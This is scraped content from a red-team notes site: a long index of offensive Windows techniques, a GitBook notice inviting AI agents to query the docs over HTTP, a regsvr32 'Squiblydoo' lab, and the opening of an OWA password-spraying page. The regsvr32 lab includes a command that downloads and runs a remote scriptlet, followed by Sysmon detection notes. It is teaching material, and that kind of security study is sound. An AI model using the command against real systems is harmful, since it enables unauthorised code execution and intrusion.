Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection.md): Injecting shellcode into a local process. - \[DLL Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection.md): Injecting DLL into a remote process. - \[Reflective DLL Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection.md): Loading DLL from memory - \[Shellcode Reflective DLL Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection.md) - \[Process Doppelganging\](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging.md) - \[Loading and Executing Shellcode From PE Resources\](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources.md) - \[Process Hollowing and Portable Executable Relocations\](https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations.md): Code injection, evasion - \[APC Queue Code Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection.md) - \[Early Bird APC Queue Code Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection.md) - \[Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert\](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert.md) - \[Shellcode Execution through Fibers\](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber.md) - \[Shellcode Execution via CreateThreadpoolWait\](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait.md) - \[Local Shellcode Execution without Windows APIs\](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis.md) - \[Injecting to Remote Process via Thread Hijacking\](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking.md) - \[SetWindowHookEx Code Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection.md) - \[Finding Kernel32 Base and Function Addresses in Shellcode\](https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode.md) - \[Executing Shellcode with Inline Assembly in C/C++\](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++.md) - \[Writing Custom Shellcode Encoders and Decoders\](https://www.ired.team/offensive-security/code-injection-process-injection/writing-custom-shellcode-encoders-and-decoders.md) - \[Backdooring PE Files with Shellcode\](https://www.ired.team/offensive-security/code-injection-process-injection/backdooring-portable-executables-pe-with-shellcode.md) - \[NtCreateSection + NtMapViewOfSection Code Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection.md) - \[AddressOfEntryPoint Code Injection without VirtualAllocEx RWX\](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx.md): Code Injection - \[Module Stomping for Shellcode Injection\](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection.md): Code Injection - \[PE Injection: Executing PEs inside Remote Processes\](https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes.md): Code Injection - \[API Monitoring and Hooking for Offensive Tooling\](https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling.md) - \[Windows API Hooking\](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++.md) - \[Import Adress Table (IAT) Hooking\](https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking.md) - \[DLL Injection via a Custom .NET Garbage Collector\](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus\_gcname.md) - \[Writing and Compiling Shellcode in C\](https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c.md) - \[Injecting .NET Assembly to an Unmanaged Process\](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process.md) - \[Binary Exploitation\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation.md) - \[32-bit Stack-based Buffer Overflow\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow.md) - \[64-bit Stack-based Buffer Overflow\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow.md) - \[Return-to-libc / ret2libc\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc.md) - \[ROP Chaining: Return Oriented Programming\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md) - \[SEH Based Buffer Overflow\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow.md) - \[Format String Bug\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/format-string-bug.md) - \[Defense Evasion\](https://www.ired.team/offensive-security/defense-evasion.md) - \[AV Bypass with Metasploit Templates and Custom Binaries\](https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates.md) - \[Evading Windows Defender with 1 Byte Change\](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change.md) - \[Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions\](https://www.ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-meterpreter-and-cobalt-strike-beacon.md) - \[Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs\](https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis.md): EDR / AV Evasion - \[Windows API Hashing in Malware\](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware.md): Evasion - \[Detecting Hooked Syscalls\](https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions.md) - \[Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs\](https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs.md) - \[Retrieving ntdll Syscall Stubs from Disk at Run-time\](https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time.md) - \[Full DLL Unhooking with C++\](https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++.md): EDR evasion - \[Enumerating RWX Protected Memory Regions for Code Injection\](https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions.md): Code Injection, Defense Evasion - \[Disabling Windows Event Logs by Suspending EventLog Service Threads\](https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads.md) - \[Obfuscated Powershell Invocations\](https://www.ired.team/offensive-security/defense-evasion/t1027-obfuscated-powershell-invocations.md): Defense Evasion - \[Masquerading Processes in Userland via \\\_PEB\](https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-\_peb.md): Understanding how malicious binaries can maquerade as any other legitimate Windows binary from the userland. - \[Commandline Obfusaction\](https://www.ired.team/offensive-security/defense-evasion/commandline-obfusaction.md): Commandline obfuscation - \[File Smuggling with HTML and JavaScript\](https://www.ired.team/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript.md) - \[Timestomping\](https://www.ired.team/offensive-security/defense-evasion/t1099-timestomping.md): Defense Evasion - \[Alternate Data Streams\](https://www.ired.team/offensive-security/defense-evasion/t1096-alternate-data-streams.md) - \[Hidden Files\](https://www.ired.team/offensive-security/defense-evasion/t1158-hidden-files.md): Defense Evasion, Persistence - \[Encode/Decode Data with Certutil\](https://www.ired.team/offensive-security/defense-evasion/t1140-encode-decode-data-with-certutil.md): Defense Evasion - \[Downloading Files with Certutil\](https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil.md): Downloading additional files to the victim system using native OS binary. - \[Packed Binaries\](https://www.ired.team/offensive-security/defense-evasion/t1045-software-packing-upx.md): Defense Evasion, Code Obfuscation - \[Unloading Sysmon Driver\](https://www.ired.team/offensive-security/defense-evasion/unloading-sysmon-driver.md): Unload sysmon driver which causes the system to stop recording sysmon event logs. - \[Bypassing IDS Signatures with Simple Reverse Shells\](https://www.ired.team/offensive-security/defense-evasion/bypassing-ids-signatures-with-simple-reverse-shells.md) - \[Preventing 3rd Party DLLs from Injecting into your Malware\](https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes.md) - \[ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)\](https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy.md) - \[Parent Process ID (PPID) Spoofing\](https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing.md) - \[Executing C# Assemblies from Jscript and wscript with DotNetToJscript\](https://www.ired.team/offensive-security/defense-evasion/executing-csharp-assemblies-from-jscript-and-wscript-with-dotnettojscript.md) - \[Enumeration and Discovery\](https://www.ired.team/offensive-security/enumeration-and-discovery.md) - \[Windows Event IDs and Others for Situational Awareness\](https://www.ired.team/offensive-security/enumeration-and-discovery/windows-event-ids-for-situational-awareness.md) - \[Enumerating COM Objects and their Methods\](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-com-objects-and-their-methods.md) - \[Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks\](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-users-without-net-services-without-sc-and-scheduled-tasks-without-schtasks.md) - \[Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging\](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-windows-domains-using-rpcclient-through-socksproxy-bypassing-command-line-logging.md) - \[Dump Global Address List (GAL) from OWA\](https://www.ired.team/offensive-security/enumeration-and-discovery/dumping-gal-global-address-list-from-outlook-web-application.md) - \[Application Window Discovery\](https://www.ired.team/offensive-security/enumeration-and-discovery/t1010-application-window-discovery.md): Discovery - \[Account Discovery & Enumeration\](https://www.ired.team/offensive-security/enumeration-and-discovery/t1087-account-discovery.md): Discovery - \[Using COM to Enumerate Hostname, Username, Domain, Network Drives\](https://www.ired.team/offensive-security/enumeration-and-discovery/using-com-to-enumerate-hostname-username-domain-network-drives.md) - \[Detecting Sysmon on the Victim Host\](https://www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host.md): Exploring ways to detect Sysmon presence on the victim system - \[Privilege Escalation\](https://www.ired.team/offensive-security/privilege-escalation.md) - \[Primary Access Token Manipulation\](https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation.md): Defense Evasion, Privilege Escalation by stealing an re-using security access tokens. - \[Windows NamedPipes 101 + Privilege Escalation\](https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation.md) - \[DLL Hijacking\](https://www.ired.team/offensive-security/privilege-escalation/t1038-dll-hijacking.md): DLL Search Order Hijacking for privilege escalation, code execution, etc. - \[WebShells\](https://www.ired.team/offensive-security/privilege-escalation/t1108-redundant-access.md): Redundant Access - Webshells for evading defenses and persistence. - \[Image File Execution Options Injection\](https://www.ired.team/offensive-security/privilege-escalation/t1183-image-file-execution-options-injection.md): Defense Evasion, Persistence, Privilege Escalation - \[Unquoted Service Paths\](https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths.md) - \[Pass The Hash: Privilege Escalation with Invoke-WMIExec\](https://www.ired.team/offensive-security/privilege-escalation/pass-the-hash-privilege-escalation-with-invoke-wmiexec.md) - \[Environment Variable $Path Interception\](https://www.ired.team/offensive-security/privilege-escalation/environment-variable-path-interception.md) - \[Weak Service Permissions\](https://www.ired.team/offensive-security/privilege-escalation/weak-service-permissions.md) - \[Credential Access & Dumping\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping.md) - \[Dumping Credentials from Lsass Process Memory with Mimikatz\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-credentials-from-lsass.exe-process-memory.md): Local Security Authority (LSA) credential dumping with in-memory Mimikatz using powershell. - \[Dumping Lsass Without Mimikatz\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz.md) - \[Dumping Lsass without Mimikatz with MiniDumpWriteDump\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass.md): Evasion, Credential Dumping - \[Dumping Hashes from SAM via Registry\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry.md): Security Accounts Manager (SAM) credential dumping with living off the land binary. - \[Dumping SAM via esentutl.exe\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-sam-via-esentutl.exe.md) - \[Dumping LSA Secrets\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets.md) - \[Dumping and Cracking mscash - Cached Domain Credentials\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials.md) - \[Dumping Domain Controller Hashes Locally and Remotely\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration.md): Dumping NTDS.dit with Active Directory users hashes - \[Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-domain-controller-hashes-via-wmic-and-shadow-copy-using-vssadmin.md) - \[Network vs Interactive Logons\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/network-vs-interactive-logons.md): This lab explores/compares when credentials are susceptible to credential dumping. - \[Reading DPAPI Encrypted Secrets with Mimikatz and C++\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++.md) - \[Credentials in Registry\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/t1214-credentials-in-registry.md): Internal recon, hunting for passwords in Windows registry - \[Password Filter\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/t1174-password-filter-dll.md): Credential Access - \[Forcing WDigest to Store Credentials in Plaintext\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/forcing-wdigest-to-store-credentials-in-plaintext.md) - \[Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-delegated-default-kerberos-and-ntlm-credentials-without-touching-lsass.md) - \[Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package.md): Credential Access, Persistence - \[Pulling Web Application Passwords by Hooking HTML Input Fields\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/stealing-web-application-credentials-by-hooking-input-fields.md): Credential Access, Keylogger - \[Intercepting Logon Credentials by Hooking msv1\\\_0!SpAcceptCredentials\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-by-hooking-msv1\_0-spacceptcredentials.md): Hooking, Credential Stealing - \[Credentials Collection via CredUIPromptForCredentials\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/credentials-collection-via-creduipromptforcredentials.md) - \[Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement.md) - \[WinRM for Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement.md): PowerShell remoting for lateral movement. - \[WinRS for Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement/winrs-for-lateral-movement.md) - \[WMI for Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement.md): Windows Management Instrumentation for code execution, lateral movement. - \[RDP Hijacking for Lateral Movement with tscon\](https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement.md): This lab explores a technique that allows a SYSTEM account to move laterally through the network using RDP without the need for credentials. - \[Shared Webroot\](https://www.ired.team/offensive-security/lateral-movement/t1051-shared-webroot.md): Lateral Movement - \[Lateral Movement via DCOM\](https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model.md): Lateral Movement via Distributed Component Object Model - \[WMI + MSI Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement/wmi-+-msi-lateral-movement.md): WMI lateral movement with .msi packages - \[Lateral Movement via Service Configuration Manager\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-abusing-service-configuration-manager.md) - \[Lateral Movement via SMB Relaying\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-via-smb-relaying-by-abusing-lack-of-smb-signing.md) - \[WMI + NewScheduledTaskAction Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement/wmi-via-newscheduledtask.md) - \[WMI + PowerShell Desired State Configuration Lateral Movement\](https://www.ired.team/offensive-security/lateral-movement/wmi-+-powershell-desired-state-configuration-lateral-movement.md): Lateral Movment, Privilege Escalation - \[Simple TCP Relaying with NetCat\](https://www.ired.team/offensive-security/lateral-movement/simple-tcp-relaying-with-netcat.md) - \[Empire Shells with NetNLTMv2 Relaying\](https://www.ired.team/offensive-security/lateral-movement/empire-shells-with-netnltmv2-relaying.md) - \[Lateral Movement with Psexec\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-with-psexec.md) - \[From Beacon to Interactive RDP Session\](https://www.ired.team/offensive-security/lateral-movement/from-beacon-to-interactive-remote-desktop-rdp-session.md): Lateral Movement, Tunnelling, Firewall Evasion - \[SSH Tunnelling / Port Forwarding\](https://www.ired.team/offensive-security/lateral-movement/ssh-tunnelling-port-forwarding.md): Exploring SSH tunneling - \[Lateral Movement via WMI Event Subscription\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-via-wmi-events.md) - \[Lateral Movement via DLL Hijacking\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-via-dll-hijacking.md) - \[Lateral Movement over headless RDP with SharpRDP\](https://www.ired.team/offensive-security/lateral-movement/lateral-movement-over-headless-rdp-with-sharprdp.md) - \[Man-in-the-Browser via Chrome Extension\](https://www.ired.team/offensive-security/lateral-movement/man-in-the-browser-via-chrome-extension.md) - \[ShadowMove: Lateral Movement by Duplicating Existing Sockets\](https://www.ired.team/offensive-security/lateral-movement/shadowmove-lateral-movement-by-stealing-duplicating-existing-connected-sockets.md) - \[Persistence\](https://www.ired.team/offensive-security/persistence.md) - \[DLL Proxying for Persistence\](https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence.md) - \[Schtask\](https://www.ired.team/offensive-security/persistence/t1053-schtask.md): Code execution, privilege escalation, lateral movement and persitence. - \[Service Execution\](https://www.ired.team/offensive-security/persistence/t1035-service-execution.md): Code Execution, Privilege Escalation - \[Sticky Keys\](https://www.ired.team/offensive-security/persistence/t1015-sethc.md): Sticky keys backdoor. - \[Create Account\](https://www.ired.team/offensive-security/persistence/t1136-create-account.md): Persistence - \[AddMonitor()\](https://www.ired.team/offensive-security/persistence/t1013-addmonitor.md): Persistence, Privilege Escalation - \[NetSh Helper DLL\](https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll.md): Persistence, code execution using netsh helper arbitrary libraries. - \[Abusing Windows Managent Instrumentation\](https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation.md): Persistence, Privilege Escalation - \[WMI as a Data Storage\](https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation/wmi-data-storage.md): Exploring WMI as a data storage for persistence by leveraging WMI classes and their properties. - \[Windows Logon Helper\](https://www.ired.team/offensive-security/persistence/windows-logon-helper.md) - \[Hijacking Default File Extension\](https://www.ired.team/offensive-security/persistence/hijacking-default-file-extension.md) - \[Persisting in svchost.exe with a Service DLL\](https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain.md) - \[Modifying .lnk Shortcuts\](https://www.ired.team/offensive-security/persistence/modifying-.lnk-shortcuts.md) - \[Screensaver Hijack\](https://www.ired.team/offensive-security/persistence/t1180-screensaver-hijack.md): Hijacking screensaver for persistence. - \[Application Shimming\](https://www.ired.team/offensive-security/persistence/t1138-application-shimming.md): Persistence, Privilege Escalation - \[BITS Jobs\](https://www.ired.team/offensive-security/persistence/t1197-bits-jobs.md): File upload to the compromised system. - \[COM Hijacking\](https://www.ired.team/offensive-security/persistence/t1122-com-hijacking.md): UAC Bypass/Defense Evasion, Persistence - \[SIP & Trust Provider Hijacking\](https://www.ired.team/offensive-security/persistence/t1198-trust-provider-hijacking.md): Defense Evasion, Persistence, Whitelisting Bypass - \[Hijacking Time Providers\](https://www.ired.team/offensive-security/persistence/t1209-hijacking-time-providers.md): Persistence - \[Installing Root Certificate\](https://www.ired.team/offensive-security/persistence/t1130-install-root-certificate.md): Defense Evasion - \[Powershell Profile Persistence\](https://www.ired.team/offensive-security/persistence/powershell-profile-persistence.md) - \[RID Hijacking\](https://www.ired.team/offensive-security/persistence/rid-hijacking.md) - \[Word Library Add-Ins\](https://www.ired.team/offensive-security/persistence/word-library-add-ins.md) - \[Office Templates\](https://www.ired.team/offensive-security/persistence/office-templates.md) - \[Exfiltration\](https://www.ired.team/offensive-security/exfiltration.md) - \[Powershell Payload Delivery via DNS using Invoke-PowerCloud\](https://www.ired.team/offensive-security/exfiltration/payload-delivery-via-dns-using-invoke-powercloud.md): This lab demos a tool or rather a Powershell script I have written to do what the title says. - \[Internals\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals.md) - \[Configuring Kernel Debugging Environment with kdnet and WinDBG Preview\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/configuring-kernel-debugging-environment-with-kdnet-and-windbg-preview.md) - \[Compiling a Simple Kernel Driver, DbgPrint, DbgView\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/compiling-first-kernel-driver-kdprint-dbgprint-and-debugview.md) - \[Loading Windows Kernel Driver for Debugging\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/loading-a-windows-kernel-driver-osr-driver-loader-debugging-with-source-code.md) - \[Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md) - \[Listing Open Handles and Finding Kernel Object Addresses\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-all-open-handles-and-kernel-object-address-from-userland.md) - \[Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/sending-commands-from-userland-to-your-kernel-driver-using-ioctl.md): Windows Driver Model (WDM) - \[Windows Kernel Drivers 101\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/windows-kernel-drivers-101.md) - \[Windows x64 Calling Convention: Stack Frame\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/windows-x64-calling-convention-stack-frame.md) - \[Linux x64 Calling Convention: Stack Frame\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame.md) - \[System Service Descriptor Table - SSDT\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/glimpse-into-ssdt-in-windows-x64-kernel.md) - \[Interrupt Descriptor Table - IDT\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/interrupt-descriptor-table-idt.md) - \[Token Abuse for Privilege Escalation in Kernel\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation.md) - \[Manipulating ActiveProcessLinks to Hide Processes in Userland\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland.md) - \[ETW: Event Tracing for Windows 101\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101.md) - \[Exploring Injected Threads\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-injectedthread.md): A short exploration of injected threads with Get-InjectedThreads.ps1 and WinDBG - \[Parsing PE File Headers with C++\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++.md) - \[Instrumenting Windows APIs with Frida\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida.md) - \[Exploring Process Environment Block\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block.md): Exploring a couple of interesting members of the PEB memory structure fields - \[Writing a Custom Bootloader\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/writing-a-custom-bootloader.md) - \[Cloud\](https://www.ired.team/miscellaneous-reversing-forensics/cloud.md) - \[AWS Accounts, Users, Groups, Roles, Policies\](https://www.ired.team/miscellaneous-reversing-forensics/cloud/aws-accounts-users-groups-roles-policies.md) - \[Neo4j\](https://www.ired.team/miscellaneous-reversing-forensics/neo4j.md) - \[Dump Virtual Box Memory\](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory.md): A quick reminder of one of the ways of how to dump memory of a VM running on VirtualBox in Linux environment. - \[AES Encryption Using Crypto++ .lib in Visual Studio C++\](https://www.ired.team/miscellaneous-reversing-forensics/aes-encryption-example-using-cryptopp-.lib-in-visual-studio-c++.md) - \[Reversing Password Checking Routine\](https://www.ired.team/miscellaneous-reversing-forensics/reversing-password-checking-routine.md) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on a page URL with the \`ask\` query parameter: \`\`\` GET https://www.ired.team/readme.md?ask= \`\`\` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # regsvr32 | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo.md) . [](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo#execution) Execution ------------------------------------------------------------------------------------------------------------------ http://10.0.0.5/back.sct Copy We need to host the back.sct on a web server so we can invoke it like so: attacker@victim Copy regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll [](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo#observations) Observations ------------------------------------------------------------------------------------------------------------------------ ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHFacr1L2eRZAPKD4kt%252F-LHFaljjT6HYczWn8BJF%252Fregsvr32.png%3Falt%3Dmedia%26token%3D5dc059c4-1273-4d4f-8d0b-64be9e47e96f&width=768&dpr=3&quality=100&sign=b84abaf0&sv=2) calc.exe spawned by regsvr32.exe Note how regsvr32 process exits almost immediately. This means that just by looking at the list of processes on the victim machine, the evil process may not be immedialy evident... Not until you realise how it was invoked though. Sysmon commandline logging may help you detect this activity: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHFbPZwQGIyCHpsPj87%252F-LHFdaYNLHBaElS6JjYh%252Fregsvr32-commandline.png%3Falt%3Dmedia%26token%3Dbd9dec61-f80b-4772-a40a-795338a8e03e&width=768&dpr=3&quality=100&sign=87f2b616&sv=2) Additionally, of course sysmon will show regsvr32 establishing a network connection: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHFecHHBAMZ5CI1H5RX%252F-LHFeXmJeuBAGXEONuJD%252Fregsvr32-network.png%3Falt%3Dmedia%26token%3Dcc0bd39a-7878-4b24-898e-2330ed9b0769&width=768&dpr=3&quality=100&sign=164fe275&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo#references) References -------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)System Binary Proxy Execution: Regsvr32, Sub-technique T1218.010 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1117) [PreviousCode Execution](https://www.ired.team/offensive-security/code-execution) [NextMSHTA](https://www.ired.team/offensive-security/code-execution/t1170-mshta-code-execution) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo#observations) * [References](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo#references) --- # Password Spraying Outlook Web Access: Remote Shell | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell.md) . [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#context) Context ---------------------------------------------------------------------------------------------------------------------------------- This lab looks at an attacking technique called password spraying as well as abusing Outlook Web Application by exploiting mail rules to get a remote shell using a tool called `Ruler`. 